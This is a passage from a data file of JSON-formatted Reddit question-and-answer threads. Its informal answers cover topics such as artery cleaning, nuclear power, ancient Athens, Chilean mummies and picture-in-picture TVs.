artery. You are basically scrapping the inside.", "You're Statin to worry me with this question ACE. Scheduled artery cleaning is just Aspirin for trouble. There are lots of safer medical treatments in Beta testing, and others already available. This is not a Metaformin, I'm being literal. ", "The question might have been motivated by this:\n_URL_0_", "We, effectively, already have this. Have you spoken to a cardiologist recently? Do you realize how many stents most of them put in patients within any given year? The numbers behind this are astounding. It's not a \"thing\" in the sense that its not a procedure that you can just elect to have (assuming that cost is no issue). But in terms of numbers and people that have stents in their hearts, it's already pretty \"standard\".  ", "There are basically two ways of doing that: invasive surgery and drugs. The drugs in question are called \"statins\" and if you are at a high-risk of having a heart-attack, your doctor will likely put you on them. The reduce bad cholesterol and plaque build-up inside your arteries. \n\n_URL_0_\n\nInvasive surgery can also be done, but it is high risk and is done only under certain circumstances. ", "A silly question so apologies in advance.\n\nIf an artery is blocked, I assume that it is possible for it to become unblocked over a period of time with a good diet and regular excercise?\n\nOr is it the case that once it is blocked then there is no going back?", "It's not the same as cleaning a blocked pipe, where there's a load of rubbish inside a structurally intact pipe. Cholesterol embeds itself in the walls of the arteries, creating an inflammatory response and local damage.\n\nThe closest we have to cleaning is angioplasty; this involves inflating a balloon in the narrowed area, most of the time a stent is used as well. This is analagous to scooping up all the rubble from a collapsed wall and holding it back with a bit of chicken-wire. It's better than a collapsed wall, but it's still not great.\n\nThe procedure itself carries lots of risks, so safer to wait for actual or impending disaster.", "I actually saw this documentary about the owner of 5 hour energy. He's got so much money that he spends it on new technologies. His team developed this device that squeezes your legs when your heart is at rest so it circulates the blood much faster. \n\nThey say it may help with blood clots because the increased blood flow widens arteries. \n\nIt needs more study however ", "It's not that simple to remove arterial plaques because they grow inside of the arterial walls, not in the \"channel\". Sort of like how mold grows in your actual wall, not your living room. ", "We currently don't know any way to clean arteries.  There was a company called Esperion in the early 2000's that was working on an HDL-infusion technique that looked potentially promising.  Pfizer bought the company and later disbanded the group that had been doing the work and then divested the company again.", "There are a lot of half correct and totally incorrect responses in here. \n1. Angioplasty is not the only way to clear up a blockage. There are a few different methods currently in use. \n2. These procedures are major surgery. You have to be put under partial anesthesia (meaning that you can respond to questions but you don't feel anything and if you do you don't care). This is very hard on the body, and people don't always recover from being put under. \n3. Any kind of vascular (blood vessel) surgery requires the use of X-ray. One surgery will expose you to much higher levels or radiation than normal. While this level may not be dangerous after one or two procedures, if you did this constantly you would reach dangerous levels of exposure after a couple of years. \n4. Preventative blood vessel cleaning is actually done in certain circumstances. Preventative PCI (percutaneous intervention) is sometimes done when a person is at high risk for a heart attack or stroke and they begin to show signs that an event may be imminent. This is usually only done if the person is relatively healthy otherwise, of a reasonably young age, and if they have to good chance of responding positively to the treatment. ", "The cath labs in my hospital are booked all day, every day for this type of procedure, 4 labs in total! So many people need this as a matter of urgency, that regularly cleaning the arteries of a whole population would require hundreds of rooms and many hundreds of cardiologists, not to mention nursing, radiography and cardic physiology staff. It would be so expensive, that it would cost as much as a very, very expensive thing. They can look at some blood vessels with ultrasound however, and this is a good way of monitoring potential problems."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Angioplasty"], [], [], ["https://www.reddit.com/r/interestingasfuck/comments/3yzoj3/intnervenous_microsurgery/"], [], ["http://www.webmd.com/cholesterol-management/side-effects-of-statin-drugs"], [], [], [], [], [], [], []]}
{"q_id": "1d39bw", "title": "How can NH4+ pass through the mitochondrial membrane, interfering with OP, but a tiny H+ ion cannot?", "selftext": "I'm referring to this excerpt from a biology textbook:\n\n\"Ammonia is very toxic, in part because its ion, ammonium (NH4+), interferes with oxidative phosphorylation.\"\n\nI get that oxidative phosphorylation relies on an electrochemical gradient, and that a bunch of positively charged ions would interfere with this process.\n\nWhat I don't understand, however, is how a comparatively large ammonium ion can pass through the mitochondrial membrane, but a single proton cannot. From what I can tell, the hydrogen ions must pass through \"proton pumps\", since their charge is repelled and blocked by the similarly charged molecules that make up the membrane. Why, then, does the same not apply to positively-charged ammonium ions?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1d39bw/how_can_nh4_pass_through_the_mitochondrial/", "answers": {"a_id": ["c9mhyv8"], "score": [2], "text": ["I'm not sure it necessarily has to cross the inner membrane. It seems to induce what's called the mitochondrial permeability transition (MPT) which leads to a lowered membrane potential because protons are now leaking through. These studies suggest that ammonia is acting through glutamine and reactive oxygen species (ROS) that then go on to cause the MPT. I would look further into the MPT and glutamine/ROS if you want a really clear answer. \n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1046/j.1471-4159.81.s1.42_8.x/full", "http://onlinelibrary.wiley.com/doi/10.1002/jnr.10056/abstract?deniedAccessCustomisedMessage=&amp;userIsAuthenticated=false"]]}
{"q_id": "akaaeb", "title": "what makes nuclear power so green compared to other energy sources?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/akaaeb/eli5_what_makes_nuclear_power_so_green_compared/", "answers": {"a_id": ["ef30xnq", "ef317kg", "ef31nx5", "ef320wb", "ef3j8p6", "ef3pq0z", "ef3qeth", "ef463xs"], "score": [41, 38, 26, 4, 3, 2, 3, 2], "text": ["Almost no carbon emissions. Carbon emissions lead to climate change, and climate change is the most serious environmental threat facing us today.", "Nuclear provides a lot of energy proportionate to the amount of material consumed. Also, depending on the type of nuclear process, the waste is often a liquid or solid, which can be buried or quarantined to prevent it from affecting the environment.\n\nCompare that to coal, which also can produce a good amount of energy relative to the amount of materials used, but it releases lots of particulate into the atmosphere. \n\nOf course, solar, wind, and water have no immediate impact, though wind and solar take large amounts of physical space, while water based generators can impact ecosystems that rely on that water source. \n\nBasically, nuclear can produce a lot of energy within a smaller area, and it's easier to deal with the waste it produces.", "Further to the above answers, energy density is also a factor. Per kg, uranium contains approximately 1.5 million times more extractable energy than gasoline. \n\nYou would need to burn 1.5 million kg of gasoline (a tanker truck contains ~40,000 kg of gas, so ~40 tanker trucks of gas) to get the same amount of energy as using 1kg of uranium. \n\nYou can't 'burn' uranium in the way you would burn gas, so a nuclear reactor is required to extract the energy.\n\nThe extraction of  uranium, coal, oil and gas is also damaging to the environment, so consider the difference in quantities required and the amount of effort and energy required to mine those volumes of material. \n\n", "Coal plants need hundreds of railcars of coal per day, 24/7 to produce energy. It's not particularly efficient in input or output. The billions of tons of carbon emissions notwithstanding.\n\nHydrogen fusion can potentially produce energy at a similar input ratio to nuclear fission (reactors powered by radioactive decay, which is what current nuclear plants do), or a couple dozen pounds of input material per year to produce just as much, if not more energy. Its only output will be helium and heat.", "What made you ask this? I've  been arguing on behalf of nuclear for a decade, so I want to know what makes you interested as a strategy to spread more awareness", "If a single average American used nothing but nuclear power for all thier energy requirements for thier entire life, the amount of waste produced (for them alone) would be the size of a pop can. It's not the cleanest, things like wind and solar take that award. It is also higher risk if something goes wrong, but a lot of smart people have created smart systems to prevent catastrophic failures to the point that risk is still pretty low.", "I think that nuclear energy is a high stakes game, and that is what has reduced the appetite for it.  To be sure there are fantastic arguments for nuclear and seemingly solvable ways to deal with the spent fuel and other waste.  \n\nWhat I have not seen talked about very much at all is twofold, greed, and the human factor.  They both become an issue when you consider what happens in the case of an accident.\n\nGreed makes companies build nuclear plants on the cheapest land possible.  These have included building one reactor on an active fault!\n\nThe other factor is human fallibility.  Even in the simplest task, humans will have an error rate.  \n\nThe cost of getting it wrong is very high.  IMO more assurances need to be in place, public safety-wise.", "At it's peak, nuclear is cleaner and more efficient than any other energy source. However, the US has pretty poor policy on nuclear energy. The US still has mostly old Gen II reactors that are not nearly as safe and efficient as more modern Gen III/III+ designs. They still use once through fuel cycles instead of recycling fuel, unnecessarily creating more waste and not fully depleting the fuel. Due to this, the US's nuclear energy creates more waste, does not properly utilize the fuel, has increased proliferation risks, and does not have as many inherent safety features.\n\nThere are many modern designs that remedy these problems though. By recycling fuel, waste products can be removed from spent fuel, basically creating brand new fuel rods with minimal waste.\n\n Most Gen III's, like the Small Modular Reactors, have a myriad of built in safety features that require no human interaction or even site power to operate. Most of the past accidents have been a result of user error, power failure, or instrument error. Inherent safety features eliminate those risks and prevent more Chernobyls from happening. \n\nTraditionally, Uranium cycles were used due to the availability of fuel and its power density. But, Uranium cycles increase proliferation concerns due to the ease of creating weapons grade Plutonium from Uranium. In India and China, Thorium cycles are becoming more popular as Thorium is also incredibly common and has comparable power density, but without the proliferation fears. \n\nI think the common misconception is that all nuclear power is the most green energy source. But I would not agree with that. I think modern designs and practices would allow nuclear to be the safest and greenest while having the highest power density, but older policies impede nuclear progression. Antinuclear sentiment among citizens also doesn't help much. But both of these issues stem largely from ignorance. \n\ntl;dr:\nNuclear power isn't always the most green. It has the potential to be but uninformed opinion and policy holds some countries, like the US back, making our fuel more wasteful. \n\ntl;dr2:\nFresh Nuclear Engineering grad student goes on a rant. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "46ei1k", "title": "How did the population of Christmas Island (Australia) become majority Chinese?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/46ei1k/how_did_the_population_of_christmas_island/", "answers": {"a_id": ["d04fzfo"], "score": [31], "text": ["This is a very interesting period in Australia's immigration history, and one that I think a lot of people don't know about. Not that this is Australian immigration in the traditional sense of people going to all the way to New Gold Mountain for economic opportunities. It's all a bit darker than that. The majority of Chinese living there today have their roots in indentured servitude complete with poor working conditions and terrible pay.\n\nFirst, you need to keep in mind where Christmas Island is actually located. While it's part of Australia the country, it's not really part of Australia the continental plate. It's in the Indian Ocean, quite close to Singapore.\n\nStarting at the end of the 19th century, Christmas Island's main production was in the form of phosphate mining. At that time, a great majority of the residents were there as indentured workers coming from places like Malaysia and Singapore, many of which were ethnic Chinese. The British had a lease on the island and used that as an opportunity to develop the mining industry, and as was the case in other parts of the British Empire in the region, their police were Sikhs and their labourers were Chinese.\n\nAfter WWII, Australia took control of the island (in a non-militaristic way of course) from Britain. When this happened, in 1958, Australia was still imposing a collection of policies which are collectively known as the White Australia Policy. You can think of these as analogous to America and Canada's Chinese Exclusion Acts. As was the case a few decades before in North America, these policies were in large part targeting Chinese. This led to Australia keeping Christmas Island at arms length as far as administration and political classifications were concerned, and it was actually governed under the laws of Singapore at the time, not those of Australia.\n\nDespite Australian managers of the mining operations not actually wanting the Chinese workers to stick around too long in certain cases, effectively deported anyone they saw as causing troubles or being a threat to control, the majority of the population remained of Chinese extraction. As mining became less significant (relative to what it was at any rate), a number of the population resettled elsewhere, but a large number remains.\n\nIf you're interested in the history and makeup of the island's population, check out Simone Dennis' *Christmas Island: An Anthropological Study*, which is on Google Books if you can't find a hard copy. Also *Christmas Island: The early years, 1888 to 1958* which if you're in Australia should definitely be at your local state/university library. I haven't looked at it at all recently but it should give a reasonable overview of the history behind your question, though if memory serves it's less dense.\n\nFor a ever briefer overview of the history, the [website for the Christmas Islands](_URL_0_) does a decent job."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.christmas.net.au/about/history.html"]]}
{"q_id": "2i4cqb", "title": "Greek Historians - How does one explain the immense creativity in Athens during 400 B.C?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2i4cqb/greek_historians_how_does_one_explain_the_immense/", "answers": {"a_id": ["ckz02um"], "score": [16], "text": ["This isn't a question with an \"answer\" as such, so it is a good opportunity to indulge in a bit of informed speculation. Most historians, when discussing the question, tend to put it in economic terms for very good reason. The art, literature, philosophy, rhetoric and even sciences of classical Athens were fueled by money. The Parthenon is a stunning monument of human ingenuity, but it was also one made possible by great wealth. This wealth is often attributed to Athenian imperialism, which is undoubtedly true but also somewhat puts the cart before the horse. Imperialism was highly rewarding to Athens, but was only possible because it had reached such a position in the lead up to the Persian Wars, which gave it the prestige and organization neccesary to bring the Aegean into a sphere of control. Broadly speaking, I would say there were two factors that allowed Athens to reach this position: the first is its geographic location, which put it in favorable place regarding Aegean trade routes, And, unlike Corinth, the mountain ranges surrounding it made it relatively cut off. The political organization was due in many respects to the Peisistratids, who continued and expanded the set of institutional reforms started by whatever person or group of people are responsible for the reforms attributed to Solon. Most important, the sum total of the Solonic and Peisistratid reforms was that Athen ahda  sort of unfed \"national\" identity much stronger than in other parts of Greece. This allowed reformers like Cleisthenes to expand the citizen base considerably, and incidentally to also expand the base of those eligible for military service.\n\nThat is a very, very brief explanation of why I think Athens was in the position it was that allowed it to become such a major power after the Persian Wars. A great source to look into this is Pomperoy et al *Ancient Greece: A Political, Social, and Cultural History*, which is something of an introductory textbook but is quite good in most respects.\n\nNow why did Athens become a major cultural force? Part of this is that its wealth acted as a magnet for talented Greek individuals who wanted to make a name for themselves--think of it as equivalent to New York or London. But I think an interesting angle is actually the Persian actions in the eastern Aegean. If you look at early Greek thought, a disproportionately large number of major thinkers come from eastern Asian Minor (modern Turkey): Thales, Heraclitus, Pythagoras, Anaximander, etc. It is possible that they didn't feel fully comfortable in eastern Anatolia and so left for Greece, and the natural destination was Athens. It is worth noting that this basic effect of non-Athenians moving to Athens was very common--Gorgias, Herodotus, and Aristotle, for example, were not Athenian. It is possible that Persian incursions and rule pushed the center of gravity of Greek culture from eastern Asian Minor to mainland Greece, where Athens was the most natural fit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24p5eg", "title": "Can someone explain to me why orbits look like this when shown in a diagram?", "selftext": "~~_URL_0_\n\n_URL_1_\n\nI've seen similar photos showing the ISS' orbit like this too.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24p5eg/can_someone_explain_to_me_why_orbits_look_like/", "answers": {"a_id": ["ch9a6uh", "ch9cy8k", "ch9ipgp", "ch9kucr"], "score": [65, 39, 5, 2], "text": ["Because the orbit is not perpendicular to the equator. That orbit you posted looks like this when you make the world a globe again:\n\n_URL_0_", "[This](_URL_0_) is the picture I think he linked to. For everyone who can't use the above link", "Maybe this can help visualize why it looks like that.  The longest straight line one could sail is from Pakistan to Russia.  [Here's](_URL_1_) what the route looks like on a map.\n\nThat doesn't look like a straight line though...[Here's the route in Google Earth](_URL_0_) , showing it is indeed a straight line.  (/u/kepleronlyknows made the video, props to him!)\n\nSo, while the ISS/orbits do indeed orbit \"in a straight line\", when you visualize that on a map, you have to transpose it that way.  And as you see in other comments, the earth spinning is why it looks like that.", "This map is a cylindrical projection and the most common one is the Mercator projection. These projection are very useful because North will always be \"UP\" but also for sailors and other navigators because the so called 'loxodromes' are straight lines on these maps. \n\nA loxodrome (or rhumb line) is a line where your compass would always show the same course if you sailed along the loxodrome. The drawback is that a loxodrome is not the closest path on a sphere. Instead the 'great circle' is the closest point on a sphere. \n\nThese curvy satellite lines you see are 'great circles' and thus the closest path on a sphere as represented on this kind of map projection.\n\nAlso, the cylindrical map projections  also skew the map the further you go from the equator and will be infinite at the poles. Compare Greenland on a world map and a globe and you will notice how much smaller it actually is. This implies that if those sats were orbiting the equator they would actually look normal on this map projection. \n\nThe 'Gnomic' map projection on the other hand show 'great circles' as straight lines and 'loxodromes' as curved lines. This is more true to the real Earth in this matter, but it can be less practical for navigators and also for laymen due to the fact that \"up\" and \"down\" on the map doesn't have to mean North and South. \n\nTldr: Spheres can never be perfectly projected on a 2d surface. "]}, "title_urls": [], "selftext_urls": ["http://www5a.wolframalpha.com/Calculate/MSP/MSP3711c104gi3adbehid3000033cg1i547i3fb5e1?MSPStoreType=image/gif&amp;s=36&amp;w=576.&amp;h=331.~~", "http://i.imgur.com/np36gCh.gif"], "answers_urls": [["http://i.imgur.com/jhADSA5.jpg"], ["http://puu.sh/8z2Yj.png"], ["http://www.youtube.com/watch?v=VpQwuGueeoA&amp;feature=youtu.be", "http://i.imgur.com/Q9pRAKD.jpg"], []]}
{"q_id": "8zj55g", "title": "The Chinchorro Culture of ancient Chile began purposefully mummifying their dead thousands of years before the Ancient Egyptians did, and did so in a highly idiosyncratic manner. What led to the development of such practices, and what ended up happening to the Chinchorro people?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8zj55g/the_chinchorro_culture_of_ancient_chile_began/", "answers": {"a_id": ["e2jmc2v"], "score": [12], "text": ["So contrary to Rothammer (as discussed in u/Dondville) Marquet et al argue that the Chinchorros lead a less hierarchical lifestyle and that mummification isn't tied to status. \n\nMummification first started because of the pure heat of the environment. Natural mummification formed when bodies were left in dehydrated environments. This discovery of natural mummies is believed to be a primary inspiration for the creation of man-made mummies. \n\nThe earliest man made mummies were most often covered with black mud after the removal (and replacement with natural fibres) of inards and sectioning, then rejoining of the body.\n\nThe majority of early mummies were children, which lead Arriza to note a probable correlation between infant deaths and high arsenic levels in the local water (100 times the acceptable limit) and the EL Nino phenomenon. Mummification most likely started as a result of population rising (Marquet et al) and increased infant mortality.  The common theory is that mummification was undertaken during periods of social stress caused by high infant mortality and a shortage of resources. Mummies were a tool to bring the community together, and perhaps played a religious, almost sacrificial role. Many of these mummies being children is probably those children who died from arsenic poisoning, which may have had importance.\n\nIt actually dissapeared for a while (or at least wasn't as popular) only to be replaced with a different type of mummification (red mummies as opposed to the older black ones). When similar birth/death rates occured. Red mummies were prepared slightly differently (different coloured mud, and incisions made to extract innards rather than dissection). Red mummies again seem to be a reaction to envrionmental pressures and have been interpreted again as sacrificial. The dying out of mummification can perhaps be seen as a sign of stability in the community and its resurfacing to be a sign of pressures returning.\n\n#Sources:\n\nArriaza, B. (1995) \u2018Chinchorro Bioarchaeology: Chronology and Mummy Seriation\u2019 in Latin\nAmerican Antiquity, Society for American Archaeology 6(1):35-55\n\nArriaza, B. (2005)\u2019Arseniasis As An Envrionmental Hypothetical Explanation For the Origin\nof the Oldest Artifical Mummification Practice In the World/ Arsenicismo, Una Hip\u00f3tesis\nMedioambiental Para Explicar El Origen De La Momicaci\u00f3n M\u00e1s Antigua Del Mundo\u2019 in\nChungara: Revista de Antropologia Chilena, Universidad de Tarapaca 3(2):255-260\n\nMarquet, P., Santoro, C., Latorre, C., Standen, V., Abades, S., Rivadenira, M., Arriaza, B.,\nHochberg, M. (2012) \u2018Emergence of Social Complexity Among Coastal Hunter-Gatherers in\nthe Atacama Desert of Northern Chile\u2019 in Proceedings of the National Academy of Sciences\nof the United States of America, National Academy of Sciences 109(37):14754-14760"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4et172", "title": "what on earth is going on between the_donald and sweden?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4et172/eli5_what_on_earth_is_going_on_between_the_donald/", "answers": {"a_id": ["d231rr8", "d232al0", "d232sh4", "d233bd6"], "score": [14, 6, 2, 4], "text": ["Users from /r/Sweden have decided to brigade /r/The_Donald due to political and philosophical disagreements. At least, this is what I've gathered from a /r/Germany post where they contemplated following suit.", "/r/the_Donald began attacking /r/Sweden with memes and images of their country \"looking like a limp dick\", and /r/Sweden retaliated. You can read the unfolding of events [here](_URL_0_).", "a user on the_donald created an...\"overly\" of a limp dick superimposed over their country as a political commintary to their current situation with muslims.\nThey got butthurt. ", "_URL_0_ not quite sure which thread this is from, but I've pretty much gathered the same as the link.\n\nstarted with r/The_Donald/comments/4efcy3/swedistan_is_literally_a_limp_dick/\n\nthen r/Sweden responded with this _URL_2_ and the folks on r/The_Donald got very pissy and temporarily lifted their ban on \"no racism\" r/sweden/comments/4ered4/desperata_tider_kr\n\nAfter that it's just been dank memes and r/Sweden rolling in upvotes\n\n\nEdit because I apparently can't link for shit\n\nEdit2: here's a better link of what the post about temporarily lifting their ban said: _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/SubredditDrama/comments/4ep8wf/rthe_donald_makes_a_post_illustrating_sweden_as_a/"], [], ["http://i.imgur.com/nwXv7ST.png", "http://i.imgur.com/Jpc6vJe.png", "http://i.imgur.com/6BNo9tg.jpg"]]}
{"q_id": "rbdal", "title": "the runt of the litter", "selftext": "Why, when dogs have puppies, is there always--or, at least, I think always-- a runt of the litter? What happens to cause this, and why do mother dogs always seem to ignore the runt?\n\nEdit: Also, does this happen outside the realm of domesticated animals?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rbdal/eli5_the_runt_of_the_litter/", "answers": {"a_id": ["c44fq81"], "score": [70], "text": ["In a sense, you will always have a runt, which is generally defined as the smallest and weakest of the litter. So in any given litter, you'll have the most relatively weak one.\n\nFrom there, survival of the fittest plays out. From the runt's view, they are at a disadvantage for when it comes to getting resources, such as milk from the mother. During feeding, they'll be pushed out by their stronger siblings, and in many other cases they will be beaten out (or even beaten down) in other fights. This cause a bit of a loop, too weak to get feed, not fed enough to become strong.\n\nFrom the mother's view, it's still survival of the fittest. Or rather, the death of those at the bottom of the list. The runt has the weakest chance to begin with and it's only going to get weaker (assuming no other force kills off the competition or intervenes to strengthen the runt), so why waste your time and energy raising it?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3yx3dw", "title": "why is the picture-in-picture feature basically dead in modern tvs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yx3dw/eli5_why_is_the_pictureinpicture_feature/", "answers": {"a_id": ["cyhu2mn", "cyhu9e4", "cyhv0fx", "cyhv36e", "cyhv7g0", "cyhvv2j", "cyhvvdy", "cyhw2a9", "cyhw5xi", "cyhwn5b", "cyhx1rh", "cyia939", "cyhcfyv", "cyhclen", "cyhcpix", "cyhfctc", "cyhgfqa", "cyhguaz", "cyhgyn6", "cyhh46o", "cyhhg01", "cyhhrlb", "cyhhzfs", "cyhi5ex", "cyhin8n", "cyhk2p0", "cyhkfcs", "cyhkl0j", "cyhkwfv", "cyhkyzo", "cyhkz13", "cyhl6da", "cyhlxt1", "cyhm0qm", "cyhm34a", "cyhmh1t", "cyhmkbg", "cyhnlte", "cyho4xv", "cyhok2q", "cyhp75i", "cyhpfst", "cyhqcmt", "cyhqf3o", "cyhqofa", "cyhqrt5", "cyhqv8b", "cyhqz9m", "cyhrc2r", "cyhrjt3", "cyhsep0", "cyhsvp5", "cyhtfs2"], "score": [2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 74, 19, 2748, 170, 3, 2, 14, 12, 3, 7, 10, 2, 2, 6, 2, 2, 2, 3, 8, 2, 3, 2, 3, 2, 3, 2, 4, 2, 3, 3, 2, 2, 2, 2, 2, 3, 3, 2, 6, 8, 3], "text": ["My current TV has PiP, but i never use it because it's glitchy. It'll cause the screen to blank out randomly if I have it on for too long, and sometimes my TV will randomly shut off after so long.", "Thanks OP for bringing back that memory. I used to play FF8 on one screen and WWF on the other. ", "In fact Pip was killed die to patents later on by a big US company with fruits. They managed to geht the patent even there was prior art.", "You used to be able to watch the game while watching another game. My dad would have the radio tuned for commentary on one and the TV volume on the other. I imagined this worked for a lot of other different things. But with the age of the DVR the idea of two things being on at the same time became far less relevant to whether or not you could watch them. ", "Dish Network has this with the Hopper and Joey. Also can stream your tv channels live over the internet using their built in sling technology.", "Btw OP, iPad Air 1's can do PiP as well,\n\nSurprisingly it's fucking useful. If you're watching a video, and a notification pops, you can click it and it'll automatically go PiP and then proceed to whatever the notification was for.\n\nEspecially for stuff like messaging services, it's pretty cool", "I have a great samsung tv with PiP.\nIt can only show 1 HDMI and 1 non-digital signal at the same time. I mean, wtf.\n", "PiP is being replaced by features from providers that offer more pictures such as UVerses multiview which can be customized with channels you want.\n\nDigital has also made things an issue. In the days of analog, tvs used tuners. Higher end tvs had more than one tuner which PiP utilized. For every tuner in the tv, you could essentially have another picture.\n\nDigital will catch up device wise once software allows it as well as the cable and satellite providers.", "My dad has an old 64-inch Pioneer projection TV at home and it does split-screen and pip and all that. It's actually nice for watching soccer matches. He has Comcast on one side and OTA on the other and we can watch two matches at once. I think my newer Samsung Plasma can do the same thing but it was pricey so maybe it's just a feature they throw in more expensive TVs.", "I had a Vizio that had PiP and I would split my screen for gaming and PC I loved it and would do anything to have it back :(.", "PIP might be dead, but amazingly TextTV/Teletext is still around and being used.\n\nI thought that would die with the introduction of digital TV but they just made a standard that allowed it to be carried with a DVB signal and so it lived on.", "On my modern TV I can use P.I.P. to play Xbox while watching TV. Or vise versa. So it may not be all dead. ", "I agree, it's very useful in some cases. In my monitor/tv I use it all the time to watch tv in the Pip while I'm working on computer. But not many people use it anymore. Many probably don't even know that exists or for what it is. \nI feel sorry for you imagining u playing playstation in that little square in the bottom of the screen :) ", "That's cool that you actually got it to work properly. But we never could and there is no sound for pip.  \nBut most houses have multiple screens that are light and and don't take up much space. Old tube and rear projector tvs where big and heavy. \n\nWhen most kids have a TV in there rooms you don't need pip. So it's an obsolete feature.", "* It relied on the fact that you could use the TV's off air tuner at the same time you used the VCR's or cable box's tuner.  Today most people get their local channels via their cable provider, and often don't even have an off air TV tuner. \n\n* The main advantage of PiP was to see what was on other channels.  Built in TV guides and DVRs have made that less useful.\n\n* TVs got so cheap most people could afford to have more than one.\n\n* It was largely a gimmick that never worked very well.  People would try it a few times, then never use it again.  Once the novelty wore off, it wasn't a feature people shopped for, and was no longer worth putting in a TV.\n\nEDIT: Bonus point\n\n* The original PiP was based on analog technologies that no longer apply to modern TVs", "The TVs/monitors that have PiP but won't let you select two HDMI inputs probably do so because they only have one set of circuitry to decode the HDMI signal (which includes a lot of copy protection and other data). Other types of signals use different circuitry, so they don't have to include \"extra\" decoders if you're limited to one of each type at a time.", "Any DVR I have owned had this feature, also XBOXONE has PiP. My Samsung tablet and BlackBerry also have PiP. But the actual TVS no longer have this feature because everyone has digital cable nowadays.   ", "Man I was thinking that a few days ago, I miss playing nba 2k with the walking dead on the right side of the screen.", "Pip requires multiple decoded inputs and most cable boxes/satellite boxes only decode a single channel at a time.  That is the trade-off for cable/satellite companies to save money on set top boxes/stop piracy.  You would think that in this day and age they wouldnt need to (cable piracy is at an all time low) but it is what it is..", "Our dish network Hopper has the feature. However that is a feature built into the subscriber's box, not the TV. I used PiP to put 2 NFL games side by side, and would switch audio dependent on the action or commercials.", "Was screaming this question into the air a few weeks back while trying to watch two football games at once.  \"PiP why have you abandoned meeeeeeeeeee!!!!\"", "I didn't notice that this was missing until I went to visit family in Japan.  Every tv had that capability, along with multiple languages encoded within the channels so that you could choose the language you wanted (if the program supported it).", "Dude! I would love to watch the NFL games on Sunday while playing video games...wake up TV MFG's", "My friend got a Westinghouse TV that supported PiP in about 2007. It didn't have multiple OTA tuners so you couldn't PiP multiple TV channels, but you could PiP between the various inputs on the TV, so you could say, play videogames on HDMI1, and have the cable box on HDMI2 showing the hockey game be PiP.\n\nEdit: Did some googling, it doesn't look like Westinghouse TVs have it anymore.", "Cuz they play the fucking commercials at the same damn time! You can't escape them and most of the time they're about 2 clicks louder than the programming you're watching. Ugh!", "Like so many features it never was implemented good and useful. The engineers were just playing around but never intended to create a feature the user really wanted. \nJust think of modern build in DVR. It simply is a piece of shit. Now compare this to user made open source VDR software. Here you see what is possible. \nI always wondered why companies don't use VDR in their products. Then again we're living in a world where companies want to sell products more often. So they will never create a perfect product. \nThat's the reason why open source is so important.", "It's like, things you buy that has a feature that looks really handy. But after trying you think; meh it's easier that way I always did. \n\nI use my TV mostly to sleep in... Or watching Ani.... Err.. movies with HDMI from my PC to TV. The rest of the time is for background sound when I'm on my PC. It's 2 meters from the tv.", "Because most Cable and Satalite companies use their own box and connect via HDMI. So you are not changing channels on the TV itself, but on a separate box. Those boxes should be the ones that provides the picture in picture. In fact, I believe that Comcast and Direct TV both do such.", "I'm under the opinion that it was a conspiracy to remove it due to people always having it on and swapping channels for commercial breaks, so they never had to watch commercials.", "Digital cable and the need for a digital cable decoder box basically killed this feature.  When PiP came out, people were usually plugging their cable directly into their tv and their tv decoded the signal, decoders were created that could split the signal internally and show multiple channels at one time, due to digital signal processing.  That same technology was what enabled digital cable decoder boxes to allow for many more channels over the line, and cable internet.  From then on the majority of people had a decoder box and only one channel's signal was hitting the tv, so no more PiP.", "P-I-P was awesome.\n\nHere's the deal: To see two channels, you need two tuners.  That's easy to incorporate into a TV set that's connected to analog cable.  But with everyone's TV these days getting their signal from a dedicated set-top box provided by the cable company, you'd need two *cable boxes* in order to get the signals for the two pictures.\n\nThe feature *can* be incorporated into your cable box.  [Dish Network has a box](_URL_0_) that can do this.", "I always though my had to do with the conversion from analog to digital, and the need to have the cable box to get full service. When it was analog, the TVs had a duel tuner that could split the signal coming into the set from a Coax cable. With the signal now coming from the box, the pip would have to be incorporated into the box itself, and the cable companies aren't going to bother with anything extra. For a while you could also get sets with cable card slots but the cable companies pretty much killed that because they want that box rental fee.", "These days people do regularly use a second screen in the form of a tablet or phone while they watch TV.", "What I want to know is why every TV doesn't have a soft mute and full mute option. I love TVs with this feature.", "Directv has it. I do side by side while I watch the Seahawks and Redzone channel on the other.", "actually, to have a PIP you need to have 2 tunners, one for the fullscreen video and other one for the preview, this add $$$ to the final product.", "Because DVR's and Netflix... there's no reason to try and watch two things at the same time anymore.", "Some of the posts in this sub are pissing me off. Why does this question need to be explained like I'm 5? I imagine the responses will be the same if talking to a 35 year old ", "Picture-in-picture is a worst-case resort. It, necessarily, means you're *blocking* a significant portion of the primary content with secondary content.  \n\nIf there's no other way to watch two things at once, then you resort to picture-in-picture.  Picture-in-picture's popularity came about before the era of \"second screens\".  \n\nNow we all have second screens close at hand.  Large phones.  Tablets.  Laptops.  Etc.  So if there's a desire for one viewer to watch something else, they can.  AND they can do so without obscuring their primary content. AND they can do so without disrupting anyone else's viewing experience in the room who maybe wasn't interested in the second piece of content.\n\nTL;DR: Picture-in-hand or picture-on-lap beats 